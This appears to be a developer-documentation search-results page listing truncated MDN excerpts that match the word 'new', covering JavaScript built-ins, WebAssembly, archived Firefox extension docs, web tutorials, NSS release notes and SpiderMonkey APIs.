new string('foo'); // creates a string object console.log(foo); // displays: [string: 'foo'] typeof foo; // returns 'object' you can call any of the methods of the string object on a string literal value—javascript automatically converts the string literal to a temporary string object, calls the method, then discards the temporary string object. you can also use the string.length property with a ...
...to a temporary string object, calls the method, then discards the temporary string object. you can also use the string.length property with a string literal. you should use string literals unless you specifically need to use a string object, because string objects can have counterintuitive behavior. for example: const firststring = '2 + 2'; // creates a string literal value const secondstring =
new string('2 + 2'); // creates a string object eval(firststring); // returns the number 4 eval(secondstring); // returns the string "2 + 2" a string object has one property, length, that indicates the number of utf-16 code units in the string. for example, the following code assigns hellolength the value 13, because "hello, world!" has 13 characters, each represented by one utf-16 code unit. you ca...
...And 8 more matches
Float32Array() constructor - JavaScript
the float32array() typed array constructor creates a
new float32array object, which is, an array of 32-bit floating point numbers (corresponding to the c float data type) in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). ...
...t32array object, which is, an array of 32-bit floating point numbers (corresponding to the c float data type) in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). syntax
new float32array(); //
new in es2017
new float32array(length);
new float32array(typedarray);
new float32array(object);
new float32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, w...
...ect);
new float32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...And 8 more matches
Float64Array() constructor - JavaScript
the float64array() typed array constructor creates a
new float64array object, which is, an array of 64-bit floating point numbers (corresponding to the c double data type) in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). ...
...64array object, which is, an array of 64-bit floating point numbers (corresponding to the c double data type) in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). syntax
new float64array(); //
new in es2017
new float64array(length);
new float64array(typedarray);
new float64array(object);
new float64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, w...
...ect);
new float64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...And 8 more matches
String.prototype.replace() - JavaScript
the replace() method returns a
new string with some or all matches of a pattern replaced by a replacement. the pattern can be a string or a regexp, and the replacement can be a string or a function to be called for each match. if pattern is a string, only the first occurrence will be replaced. the original string is left unchanged. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const
newstr = str.replace(regexp|substr,
newsubstr|function) parameters regexp (pattern) a regexp object or literal. the match or matches are replaced with
newsubstr or the value returned by the specified function. substr a...
...ute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const
newstr = str.replace(regexp|substr,
newsubstr|function) parameters regexp (pattern) a regexp object or literal. the match or matches are replaced with
newsubstr or the value returned by the specified function. substr a string that is to be replaced by
newsubstr. it is treated as a literal string and is not interpreted as a regular expression. only the first occurrence will be replaced.
newsubstr (replacement) the string that replaces the substring specified by the specified regexp or substr parameter. a number of special replacement patterns are supported; see the "specifying a string as a parameter" section below. function (replacement) a fun...
... string and is not interpreted as a regular expression. only the first occurrence will be replaced.
newsubstr (replacement) the string that replaces the substring specified by the specified regexp or substr parameter. a number of special replacement patterns are supported; see the "specifying a string as a parameter" section below. function (replacement) a function to be invoked to create the
new substring to be used to replace the matches to the given regexp or substr. the arguments supplied to this function are described in the "specifying a function as a parameter" section below. return value a
new string, with some or all matches of a pattern replaced by a replacement. description this method does not change the calling string object. it simply returns a
new string. to perform a...
...And 8 more matches
String - JavaScript
g for the existence or location of substrings with the indexof() method, or extracting substrings with the substring() method. creating strings strings can be created as primitives, from string literals, or as objects, using the string() constructor: const string1 = "a string primitive"; const string2 = 'also a string primitive'; const string3 = `yet another string primitive`; const string4 =
new string("a string object"); string primitives and string objects can be used interchangeably in most situations. see "string primitives and string objects" below. string literals can be specified using single or double quotes, which are treated identically, or using the backtick character `. this last form specifies a template literal: with this form you can interpolate expressions. character ...
... this function, due to problems with certain utf-8 character conversions. string primitives and string objects note that javascript distinguishes between string objects and primitive string values. (the same is true of boolean and numbers.) string literals (denoted by double or single quotes) and strings returned from string calls in a non-constructor context (that is, called without using the
new keyword) are primitive strings. javascript automatically converts primitives to string objects, so that it's possible to use string object methods for primitive strings. in contexts where a method is to be invoked on a primitive string or a property lookup occurs, javascript will automatically wrap the string primitive and call the method or perform the property lookup. let s_prim = 'foo' let s_...
...rd) are primitive strings. javascript automatically converts primitives to string objects, so that it's possible to use string object methods for primitive strings. in contexts where a method is to be invoked on a primitive string or a property lookup occurs, javascript will automatically wrap the string primitive and call the method or perform the property lookup. let s_prim = 'foo' let s_obj =
new string(s_prim) console.log(typeof s_prim) // logs "string" console.log(typeof s_obj) // logs "object" string primitives and string objects also give different results when using eval(). primitives passed to eval are treated as source code; string objects are treated as all other objects are, by returning the object. for example: let s1 = '2 + 2' // creates a string primitive let...
...And 8 more matches
instanceof - JavaScript
es project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object instanceof constructor parameters object the object to test. constructor function to test against description the instanceof operator tests the presence of constructor.prototype in object's prototype chain. ...
...e of constructor.prototype in object's prototype chain. ...
...it can also be changed by changing an object's prototype using object.setprototypeof. it is also possible using ...
...And 8 more matches
Understanding WebAssembly text format - WebAssembly
(global.set $g (i32.add (global.get $g) (i32.const 1)))) ) this looks similar to what we've seen before, except that we specify a global value using the keyword global, and we also specify the keyword mut along with the value's datatype if we want it to be mutable. to create an equivalent value using javascript, you'd use the webassembly.global() constructor: const global =
new webassembly.global({value: "i32", mutable: true}, 0); webassembly memory the above example is a pretty terrible logging function: it only prints a single integer! what if we wanted to log a text string? to deal with strings and other more complex data types, webassembly provides memory (although we also have reference types in
newer implementation of webassembly). according to webassembly, mem...
...nstance (currently you can only have one per module instance) using the associated instance methods. memory instances have a buffer getter, which returns an arraybuffer that points at the whole linear memory. memory instances can also grow, for example via the memory.grow() method in javascript. when growth occurs, since arraybuffers can’t change size, the current arraybuffer is detached and a
new arraybuffer is created to point to the
newer, bigger memory. this means all we need to do to pass a string to javascript is to pass out the offset of the string in linear memory along with some way to indicate the length. while there are many different ways to encode a string’s length in the string itself (for example, c strings); for simplicity here we just pass both offset and length as para...
... itself (for example, c strings); for simplicity here we just pass both offset and length as parameters: (import "console" "log" (func $log (param i32) (param i32))) on the javascript side, we can use the textdecoder api to easily decode our bytes into a javascript string. (we specify utf8 here, but many other encodings are supported.) function consolelogstring(offset, length) { var bytes =
new uint8array(memory.buffer, offset, length); var string =
new textdecoder('utf8').decode(bytes); console.log(string); } the last missing piece of the puzzle is where consolelogstring gets access to the webassembly memory. webassembly gives us a lot of flexibility here: we can either create a memory object in javascript and have the webassembly module import the memory, or we can have the webas...
...And 8 more matches
Storing annotations - Archive of obsolete content
button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. now we are able to create annotations, let's store them using the simple-storage module. in this chapter we will cover three topics relating to persistent storage: using simple-storage to persist objects handling exhaustion of the storage quota allocated to you respecting private browsing storing
new annotations in this section we are only touching the main.js file. first, import the simple-storage module with a declaration like: var simplestorage = require('sdk/simple-storage'); in the module scope, initialize an array which will contain the stored annotations: if (!simplestorage.storage.annotations) simplestorage.storage.annotations = []; now we'll add a function to the module scope...
...s section we are only touching the main.js file. ...
...odule scope, initialize an array which will contain the stored annotations: if (!simplestorage.storage.annotations) simplestorage.storage.annotations = []; now we'll add a function to the module scope which deals with a
new annotation. ...
...And 7 more matches
Enhanced Extension Installation - Archive of obsolete content
endors wish to keep all of their installed content within c:\program files\foo\ for example. there is no clean uninstall procedure, as the -install-global-extension flag was designed only as a means to install items for all user profiles, not as a means for third party installers to register their components. the system for installation, upgrade and uninstall is not robust enough. when a
newer version fo an existing extension is installed, files for the
newer version are copied into the folder used by the older version, and obsolete files are not cleaned up. this can lead to incompatibilities, mysterious crashes and other problems. there are not enough guards in the upgrade and uninstall process to handle failure and abort the operation, restoring the previous state. items that are ...
...rocess). in the profile directory, the file compatibility.ini stores information about the version of the application (build info) that last started this profile - during startup this file is checked and if the version info held by the running app disagrees with the info held by this file, a compatibility check is run on all installed items. when changes are made to the extensions datasource -
new items are installed, old items uninstalled, enabled or disabled, a .autoreg file is written to the profile directory as well, which tells the startup code that the system has been modified, so that it destroys the component registries, finishes pending transactions and regenerates metadata appropriately. datasource structure the extension manager implements a rdf datasource which contains a com...
... because a major change has happened) and gets a list of all items that need to be installed (tracked using a tobeinstalled flag on the item in the datasource). it locates the staged copy of the xpi file, extracts its contents (logging file additions as it goes into {guid}/uninstall/uninstall), loads the install manifest file and copies all metadata into the appropriate datasource. at this time a
new extensions.ini file is written locating the extension so that the component manager, preferences system and chrome registry can locate additional files on the next start. the finalization process then notifies the startup process that finalization has changed this manifest, and that the application must be restarted to pick up changes specified therein. the startup process receives this "needsre...
...And 7 more matches
Code snippets - Archive of obsolete content
in tabsengine.getallclients()) { for each (let tab in client.tabs) { let url = tab.urlhistory[0]; // load the tab via the tabbed browser api. ...
...payload.engines[engine].version = 0; // or any other version number you like. envelope.payload = json.stringify(payload); r.put(json.stringify(envelope)); generate n...
...w resource(weave.service.storageurl + "meta/global"); let g = r.get(); let envelope = json.parse(g); let payload = json.parse(envelope.payload); payload.engines[engine].syncid = weave.utils.makeguid(); // or any other guid you like. payload.engines[engine].version = 0; // or any other version number you like. envelope.payload = json.stringify(payload); r.put(json.stringify(envelope)); generate
new keys // clients always wipe the server when they generate
new keys. components.utils.import("resource://services-sync/main.js"); weave.service._freshstart(); // if you want to do it without wiping the server (which will cause corruption!): weave.service.generate
newsymmetrickeys(); print out a list of large bookmark records // change '1000' as appropriate. components.utils.import("resource://s...
...And 7 more matches
Java in Firefox Extensions - Archive of obsolete content
y, see liveconnect for the pointers. note bug 834918 about click-to-play effect on java plugins in chrome and bug 775301. if you are in need of calling java code from within a firefox extension, you can make use of liveconnect. ...
... the following technique only works in javascript code linked from or contained in xul files. ...
...(this w...
...And 7 more matches
Windows Media in Netscape - Archive of obsolete content
ayer -- detection using javascript objects which is useful for client-side detection detection using the user agent string which is useful for server side detection. an advantage of the client-side approach is that it is also possible to detect if windows media player is installed. client-side detection using javascript objects internet explorer implements the activexobject object to create
new instances of activex controls. netscape 7.1 introduces geckoactivexobject which can be used in a similar way to create instances of the windows media player. the following javascript illustrates one approach using object detection of activexobject and geckoactivexobject to determine if the windows media activex control is supported and available for use. javascript will dynamically write out what...
...ammatic id (progid) and use it to create a reference to the windows media player. the progid of windows media player is mediaplayer.mediaplayer.1. while the progid cannot be used to create a windows media player object that exposes all its properties and methods, it is useful for rapid detections. ...
... media player is mediaplayer.mediaplayer.1. while the progid cannot be used to create a windows media player object that exposes all its properties and methods, it is useful for rapid detections. ...
...And 7 more matches
Archive of obsolete content
d you need to build web content that runs on that software. or perhaps you're just curious about the history of an obsolete feature or api, and how it worked. there are many reasons older documentation can be useful. so, we've established this area into which we can archive older documentation. material in this archived content zone should not be used for building
new web sites or apps for modern browsers. it's here for historical reference only. see the complete index of archived content note to writers: we need to try to keep the subpages here organized instead of all dumped into one large folder. try to create subtrees for categories of material. also, only move pages here that are ...
...ences to an extension this article takes the creating a dynamic status bar extension sample to the next level, adding a popup menu that lets you quickly switch between multiple stocks to watch. it also adds a preference dialog that lets you switch to a stock other than one of the ones included in the popup menu. ...
...ticle takes the creating a dynamic status bar extension sample to the next level, adding a popup menu that lets you quickly switch between multiple stocks to watch. it also adds a preference dialog that lets you switch to a stock other than one of the ones included in the popup menu. ...
...And 7 more matches
Building up a basic demo with Babylon.js - Game development
dth and height of the <canvas> element (which babylon.js will use to render the content on) to fill the entire available viewport space. the first <script> element includes the babylon.js library in the page; we will write our example code in the second one. there is one helper variable already included, which will store a reference to the <canvas> element. ...
...reference to the <canvas> element. before reading on, copy this code to a
new text file and save it in your working directory as index.html. initialising the babylon.js engine we have to create a babylon.js engine instance first (passing it the <canvas> element to render on) before we start developing our game. add the following code to the bottom of your second <script> element: var engine =
new babylon.engine(canvas); the babylon global object contains all the babylon.js functions available in the engine. creating a scene a scene is the place where all the game content is displayed. while creating
new objects in the demo, we will be adding them all to the scene to make them visible on the screen. let's create a scene by adding the following lines just below our previous code: var s...
...n.engine(canvas); the babylon global object contains all the babylon.js functions available in the engine. creating a scene a scene is the place where all the game content is displayed. while creating
new objects in the demo, we will be adding them all to the scene to make them visible on the screen. let's create a scene by adding the following lines just below our previous code: var scene =
new babylon.scene(engine); scene.clearcolor =
new babylon.color3(0.8, 0.8, 0.8); thus, the scene is created and the second line sets the background color to light gray. creating a rendering loop to make the scene actually visible we have to render it. add these lines at the end of the <script> element, just before the closing </script>. var renderloop = function () { scene.render(); }; engin...
...And 7 more matches
Sending forms through JavaScript - Learn web development
html forms can send an http request declaratively. but forms can also prepare an http request to send via javascript, for example via xmlhttprequest. this article explores such approaches. a form is not always a form with progressive web apps, single page apps, and framework based apps, it's common to use html forms to send data without loading a
new document when response data is received. let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. avoiding a full page load can provide a smoother experience by avoiding network lag, and possible visual issues like flickering. ...
...xmlhttprequest is the safest and most reliable way to make http requests. to send form data with xmlhttprequest, prepare the data by url-encoding it, and obey the specifics of form data requests. let's look at an example: <button>click me!</button> and now the javascript: const btn = document.queryselector('button'); function senddata( data ) { console.log( 'sending data' ); const xhr =
new xmlhttprequest(); let urlencodeddata = "", urlencodeddatapairs = [], name; // turn the data object into an array of url-encoded key/value pairs. for( name in data ) { urlencodeddatapairs.push( encodeuricomponent( name ) + '=' + encodeuricomponent( data[name] ) ); } // combine the pairs into a single string and replace all %-encoded spaces to // the '+' character; ma...
... {test:'ok'} ); } ) here's the live result: note: this use of xmlhttprequest is subject to the same-origin policy if you want to send data to a third party web site. for cross-origin requests, you'll need cors and http access control. using xmlhttprequest and the formdata object building an http request by hand can be overwhelming. fortunately, the xmlhttprequest specification provides a
newer, simpler way to handle form data requests with the formdata object. the formdata object can be used to build form data for transmission, or to get the data within a form element to manage how it's sent. note that formdata objects are "write only", which means you can change them, but not retrieve their contents. using this object is detailed in using formdata objects, but here are two example...
...And 7 more matches
Making asynchronous programming easier with async and await - Learn web development
eting = await promise.resolve("hello"); }; hello().then(alert); of course, the above example is not very useful, although it does serve to illustrate the syntax. let's move on and look at a real example. ...
...status: ${response.status}`); } else { let myblob = await response.blob(); let objecturl = url.createobjecturl(myblob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); } } myfetch() .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); it makes code much...
...e); } } myfetch() .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); it makes code much simpler and easier to understand — no more .then() blocks everywhere! since an async keyword turns a function into a promise, you could refactor your code to use a hybrid approach of promises and await, bringing the second half of the function out into a
new block to make it more flexible: async function myfetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw
new error(`http error! status: ${response.status}`); } else { return await response.blob(); } } myfetch().then((blob) => { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl; document.body.
...And 7 more matches
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api. ...
...ate the contents of a web page. what is the problem here? originally page loading on the web was simple — you'd send a request for a website to a server, and as long as nothing went wrong, the assets that made the web page would be downloaded and displayed on your computer. the trouble with this model is that whenever you want to update any part of the page, for example, to display a
new set of products or load a
new page, you've got to load the entire page again. this is extremely wasteful and results in a poor user experience, especially as pages get larger and more complex. enter ajax this led to the creation of technologies that allow web pages to request small chunks of data (such as html, xml, json, or plain text) and display them only when needed, helping to solve the pr...
...ame, and the term "ajax" is still often used to describe the technique. the ajax model involves using a web api as a proxy to more intelligently request data rather than just having the browser reload the entire page. let's think about the significance of this: go to one of your favorite information-rich sites, like amazon, youtube, cnn, etc., and load it. now search for something, like a
new product. the main content will change, but most of the surrounding information, like the header, footer, navigation menu, etc., will stay the same. this is a really good thing because: page updates are a lot quicker and you don't have to wait for the page to refresh, meaning that the site feels faster and more responsive. less data is downloaded on each update, meaning less wasted bandwidth...
...And 7 more matches
Componentizing our React app - Learn web development
elements allows you to change your code in one place and see those changes everywhere that component is used. you don't have to break everything out into components right away, either. let's take the second bullet point as inspiration and make a component out of the most reused, most important piece of the ui: a todo list item. ...
...t piece of the ui: a todo list item. make a <todo /> before we can make a component, we should create a
new file for it. in fact, we should make a directory just for our components. the following commands make a components directory and then, within that, a file called todo.js. make sure you're in the root of your app before you run these! mkdir src/components touch src/components/todo.js our
new todo.js file is currently empty! open it up and give it its first line: import react from "react"; since we're going to make a component called todo, you can start adding the code for that to todo.js too, as follows. in this code, we define the function and export it on the same line: export default function todo() { return ( ); } this is ok so far, but our component has to return someth...
...> </div> </li> ); } now your browser should show three unique tasks. another problem remains though: they're all still checked by default. is it completed? in our original static list, only eat was checked. once again, we want to reuse most of the ui that makes up a <todo /> component, but change one thing. that's a good job for another prop! give each <todo /> call in app.js a
new prop of completed. the first (eat) should have a value of true; the rest should be false: <todo name="eat" completed={true} /> <todo name="sleep" completed={false} /> <todo name="repeat" completed={false} /> as before, we must go back to todo.js to actually use these props. change the defaultchecked attribute on the <input /> so that its value is equal to the completed prop. once you’re done,...
...And 7 more matches
NSS 3.12.6 release notes
the bug fixes in nss 3.12.6 are described in the "bugs fixed" section below. nss 3.12.6 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1. distribution information the cvs tag for the nss 3.12.6 release is nss_3_12_6_rtm. nss 3.12.6 requires nspr 4.8.4. see the documentation section for the build instructions. ...
... source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_6_rtm/src/. you also need to download the nspr 4.8.4 binary distributions to get the nspr 4.8.4 header files and shared libraries, which nss 3.12.6 requires. nspr 4.8.4 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.8.4/.
new in nss 3.12.6 ssl3 & tls renegotiation indication extension (rfc 5746) by default, nss 3.12.6 uses the
new tls renegotiation indication extension for tls renegotiation but allows simple ssl/tls connections (without renegotiation) with peers that don't support the tls renegotiation indication extension. the behavior of nss for renegotiation can be c...
...e. if true, a connection will be dropped at initial handshake if the peer server or client does not support safe renegotiation. the default setting for this option is false. these options can also be set with the following ssl options: ssloptions.enablerenegotiation ssloptions.requiresafenegotiation
new pseudo cipher suite value: tls_empty_renegotiation_info_scsv (cannot be negotiated) tls server name indication for servers tls server name indication (sni) for servers is almost fully implemented in nss 3.12.6. see bug 360421 for details. note: the tls server name indication for clients is alread...
...And 7 more matches
NSS 3.21 release notes
2016-01-07, this page has been updated to include additional information about the release. the sections "security fixes" and "acknowledgements" have been added. introduction the nss team has released network security services (nss) 3.21, which is a minor release. distribution information the hg tag is nss_3_21_rtm. nss 3.21 requires nspr 4.10.10 or
newer. ...
.... distribution information the hg tag is nss_3_21_rtm. nss 3.21 requires nspr 4.10.10 or
newer. nss 3.21 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_rtm/src/ security fixes in nss 3.21 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures. ...
...nformation the hg tag is nss_3_21_rtm. nss 3.21 requires nspr 4.10.10 or
newer. nss 3.21 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_rtm/src/ security fixes in nss 3.21 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures. ...
...And 7 more matches
NSS tools : modutil
ach option may take arguments, anywhere from none to multiple arguments. options -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -ciphers, and -mechanisms arguments. -changepw tokenname change the password on the named token. if the token has not been initialized, this option initializes the password. use this option with the -pwfile and -
newpwfile arguments. a password is equivalent to a personal identification number (pin). -chkfips verify whether the module is in the given fips mode. true means to verify that the module is in fips mode, while false means to verify that the module is not in fips mode. -create create
new certificate, key, and module databases. use the -dbdir directory argument to specify a directory. if any o...
...ips [true | false] enable (true) or disable (false) fips 140-2 compliance for the default nss module. -force disable modutil's interactive prompts so it can be run from a script. use this option only after manually testing each planned operation to check for warnings and to ensure that bypassing the prompts will cause no security lapses or loss of database integrity. -jar jar-file add a
new pkcs #11 module to the database using the named jar file. use this command with the -installdir and -tempdir arguments. the jar file uses the nss pkcs #11 jar format to identify all the files to be installed, the module's name, the mechanism flags, and the cipher flags, as well as any files to be installed on the target machine, including the pkcs #11 module library file and other files suc...
...ule that is being added to the database. the cipher-enable-list is a colon-delimited list of cipher names. enclose this list in quotation marks if it contains spaces. -dbdir [sql:]directory specify the database directory in which to access or create security module database files. modutil supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and
new sqlite databases (cert9.db, key4.db, and pkcs11.txt). if the prefix sql: is not used, then the tool assumes that the given databases are in the old format. --dbprefix prefix specify the prefix used on the database files, such as my_ for my_cert8.db. this option is provided as a special case. changing the names of the certificate and key databases is not recommended. -installdir root-insta...
...And 7 more matches
sslerr.html
this probably indicates a flaw in the remote peer's implementation. ssl_e...
...this probably indicates a flaw in the remote peer's implementation. ssl_error_rx_malformed_change_cipher -12251 "ssl received...
...this probably indicat...
...And 7 more matches
NSS_3.12.3_release_notes.html
the bug fixes in nss 3.12.3 are described in the "bugs fixed" section below. nss 3.12.3 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1. distribution information the cvs tag for the nss 3.12.3 release is nss_3_12_3_rtm. nss 3.12.3 requires nspr 4.7.4. see the documentation section for the build instructions. ...
...taining three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.4 binary distributions to get the nspr 4.7.4 header files and shared libraries, which nss 3.12.3 requires. nspr 4.7.4 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.4/.
new in nss 3.12.3 changes in behavior: in the development of nss 3.12.3, it became necessary to change some old library behaviors due to the discovery of certain vulnerabilities in the old behaviors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software from other sources. most of these changes should cause no problems for nss...
...f certain vulnerabilities in the old behaviors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software from other sources. most of these changes should cause no problems for nss users, but in some cases, some customers' software, hardware and/or certificates may be dependent on the old behaviors, and may have difficulty with the
new behaviors. in anticipation of that, the nss team has provided ways to easily cause nss to revert to its previous behavior through the use of environment variables. here is a table of the
new environment variables introduced in nss 3.12.3 and information about how they affect these
new behaviors. the information in this table is excerpted from https://developer.mozilla.org/en/nss_refe...
...And 7 more matches
NSS tools : modutil
e arguments. options -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -ciphers, and -mechanisms arguments. -changepw tokenname change the password on the named token. if the token has not been initialized, this option initializes the password. use this option with the -pwfile and -
newpwfile arguments. a password is equivalent to a personal identification number (pin). -chkfips verify whether the module is in the given fips mode. true means to verify that the module is in fips mode, while false means to verify that the module is not in fips mode. -create create
new certificate, key, and module databases. use the -...
... the default nss module. -force disable modutil's interactive prompts so it can be run from a script. use this option only after manually testing each planned operation to check for warnings and to ensure that bypassing the prompts will cause no security lapses or loss of database integrity. -jar jar-file add a
new pkcs #11 module to the database using the named jar file. use this command with the -installdir and -tempdir arguments. the jar file uses the nss pkcs #11 jar format to identify all the files to be installed, the module's name, the mechanism flags, and the cipher flags, as well as any files to be installed on the target machine, including the...
...is a colon-delimited list of cipher names. enclose this list in quotation marks if it contains spaces. -dbdir [sql:]directory specify the database directory in which to access or create security module database files. modutil supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and
new sqlite databases (cert9.db, key4.db, and pkcs11.txt). if the prefix sql: is not used, then the tool assumes that the given databases are in the old format. --dbprefix prefix specify the prefix used on the database files, such as my_ for my_cert8.db. this option is provided as a special case. changing the names of the certifica...
...And 7 more matches
JSClass
a jsclass describes a class of javascript objects. a c/c++ program can use a jsclass with the js_initclass and js_
newobject apis to create objects that have custom methods and properties implemented in c/c++. syntax struct jsclass { const char *name; uint32_t flags; /* optional since spidermonkey 37 */ jspropertyop addproperty; jsdeletepropertyop delproperty; jspropertyop getproperty; jsstrictpropertyop setproperty; jsenumerateop enumerate; jsresolveop resolve; jsconvertop convert; /* obsolete since spidermonkey 44 */ /* optional since spidermonkey 25 */ jsfinalizeop finalize; /* optional */ jsclassinternal reserved0; /* obsolete since spidermonkey 13 *...
...onkey 13 */ void *reserved[n]; /* sizeof 'reserved' depends on version */ }; name type description name const char * class name flags uint32_t class flags. this field is the bitwise or of one or more of the jsclass_* constants described in jsclass.flags. addproperty jspropertyop a hook called just after adding a
new property. may modify the
new property value. use null or js_propertystub (spidermonkey 31 or older) for default behavior. delproperty jsdeletepropertyop a hook called when deleting a property. may veto. use null or js_deletepropertystub (spidermonkey 31 or older) for default behavior. getproperty jspropertyop a hook called when getting a p...
...lder) for default behavior. getproperty jspropertyop a hook called when getting a property. this is the default getter for the class. use null or js_propertystub (spidermonkey 31 or older) for default behavior. setproperty jsstrictpropertyop a hook called when setting a property. this is the default setter for the class. ...
...And 7 more matches
SpiderMonkey 31
these release notes are incomplete. the mozilla javascript team is pleased to announce the release of spidermonkey 31. spidermonkey 31 is the javascript engine that shipped in firefox 31. it continues to improve performance over previous spidermonkey releases, with a significantly improved garbage collector and other features. it also contains
new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. the download url is outdated and spidermonkey not release alone! get it here mozilla-esr31 you will find it in "firefox extended support release 31" package on hg release platform supp...
...tectures. on some other platforms (sparc, mips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 31 the first change most embedders will notice is that spidermonkey must now be initialized before it can be used, using the
newly-repurposed js_init method. after this method is called, normal jsapi operations are permitted. when all jsapi operation has completed, the corresponding js_shutdown method (currently non-mandatory, but highly recommended as it may become mandatory in the future) uninitializes spidermonkey, cleaning up memory and allocations performed by js_init. a major change to spidermonkey in 31 is that i...
...ces are now explicitly const, and several apis have been updated to use const jsclass * and const js::class * pointers. all references to shortid/tinyid have been removed. that includes the apis js_definepropertywithtinyid and js_defineucpropertywithtinyid as well as the jspropertydescriptor structure and the matching jsprop_shortid flag. these and other changes are explained in detail below. ...
...And 7 more matches
Using the Places livemark service
hether an item is a livemark. livemarks are bookmark folders that contain the most recent items from an rss feed. ...
...ain the most recent items from an rss feed. initiating the livemark service before using the livemark service, you need to obtain an instance: var livemarkservice = components.classes["@mozilla.org/browser/livemark-service;2"] .getservice(components.interfaces.nsilivemarkservice); creating a
new livemark the nsilivemarkservice.createlivemark() method creates a
new livemark. var
newlvmkid = livemarkservice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the first parameter is the id of the folder in which to create the livemark. the second parameter ...
... -1); the first parameter is the id of the folder in which to create the livemark. the second parameter is the livemark's name as it will appear in the bookmark's title. the third parameter is the uri of the site the livemark was created from (specified as an nsiuri object. fourth argument is the uri of the actual rss feed. the last argument takes in the index to insert at, or -1 to append the
new livemark to the end of the folder. you can convert a string into an nsiuri using nsiioservice. when creating livemarks during startup, you should use the nsilivemarkservice.createlivemarkfolderonly() to avoid http traffic. this creates the encapsulating livemark without actually fetching the rss feed's contents. var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]. ...
...And 7 more matches
Finishing the Component
st to expose it. usually there are only minor changes to interfaces marked with such a tag. even with interfaces marked "under review," however, it's still a good idea to contact the module owners responsible for the interfaces you are interested in using. copying interfaces into your build environment to get and implement interfaces that are not part of gecko in your component, simply create a
new directory in the gecko sdk named unfrozen. copy the headers and idl files that you need from the content/base/public source directory of the gecko build into this
new directory. (for weblock, all you need are the headers for nsicontentpolicy and the nsicontentpolicy.idl.) then, using the same steps you used to create the weblock.h, create a header from this idl file using the xpidl compiler. once...
...ct reference counting nsiobserver xpcom frozen allows messaging passing between objects nsicontentpolicy content not frozen interface for policy control mechanism iweblock web lock not frozen enables and disables weblock. also, provides access to the url that are whitelisted. ...
...at the same time, you can add the macro ns_decl_nsicontentpolicy to the class declaration that provides all of the methods defined in the interface nsicontentpolicy. ...
...And 7 more matches
nsIDBChangeListener
the nsidbchangelistener interface is used by components wanting to receive notification when the current database changes somehow. ...
...changes somehow. ...
